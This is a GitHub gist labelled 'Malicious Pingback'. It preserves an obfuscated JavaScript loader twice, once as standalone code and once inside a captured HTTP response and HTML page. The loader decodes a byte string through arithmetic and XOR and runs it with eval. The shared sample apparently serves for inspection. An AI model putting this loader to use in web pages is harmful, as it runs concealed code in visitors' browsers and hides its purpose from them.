Skip to content

Instantly share code, notes, and snippets.

@mikeboers
Last active August 29, 2015 14:16
Show Gist options
  • Save mikeboers/910cc0691140d7b83a19 to your computer and use it in GitHub Desktop.
Save mikeboers/910cc0691140d7b83a19 to your computer and use it in GitHub Desktop.
Malicious Pingback
var qi = "",
ri = "",
ui, si = new Array(),
ti;
function oi(pi) {
for (ui = 0; ui < ti.length; ui++) si[ui] = ti.charCodeAt(ui);
ui = "ui=49;do{if(ui<2)break;si[ui]=(((-((si[ui]-51)&0xff))&0xff)+si[50])&0xff;ui--;}while(true);";
eval(ui);
ui = 48;
do {
si[ui] = (-((-((-si[ui]) & 0xff)) & 0xff)) & 0xff;
} while (--ui >= 2);
ui = 3;
while (true) {
if (ui > 48) break;
si[ui] = (si[ui] - si[ui + 1]) & 0xff;
ui++;
}
ti = "";
for (ui = 1; ui < si.length - 1; ui++)
if (ui % 5) ti += String.fromCharCode(si[ui] ^ pi);
ui = eval;
ui(ti);
}
ti = "T\x22\xe0\x81F\x15X\x1e\xfc\x81H\xcf\x95_+\n\x8eR\x18\xddu\xd7\xb3w\xf9\x82e\xeb\x81B\x11\xcf\x9cz<\x0c:\x0e\xa6B\x04+\xec\xc9]\xf6\xfc\x85\x07hq";
oi(85);
HTTP/1.0 200 OK
Content-Type: text/html
Content-Length: 766
Pragma: no-cache
Cache-control: no-store
<html><body><script>var qi="",ri="",ui,si=new Array(),ti;function oi(pi){for(ui=0;ui<ti.length;ui++)si[ui]=ti.charCodeAt(ui);ui="ui=49;do{if(ui<2)break;si[ui]=(((-((si[ui]-51)&0xff))&0xff)+si[50])&0xff;ui--;}while(true);";eval(ui);ui=48;do{si[ui]=(-((-((-si[ui])&0xff))&0xff))&0xff;}while(--ui>=2);ui=3;while(true){if(ui>48)break;si[ui]=(si[ui]-si[ui+1])&0xff;ui++;}ti="";for(ui=1;ui<si.length-1;ui++)if(ui%5)ti+=String.fromCharCode(si[ui]^pi);ui=eval;ui(ti);}ti="T\x22\xe0\x81F\x15X\x1e\xfc\x81H\xcf\x95_+\n\x8eR\x18\xddu\xd7\xb3w\xf9\x82e\xeb\x81B\x11\xcf\x9cz<\x0c:\x0e\xa6B\x04+\xec\xc9]\xf6\xfc\x85\x07hq";oi(85);</script><script>var u=2;for(;u==1;u++);</script><br><br><br><center><h3><p>???ʱ?ҳ?棬???????????Ҫ֧??JavaScript</p></h3></center></body></html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment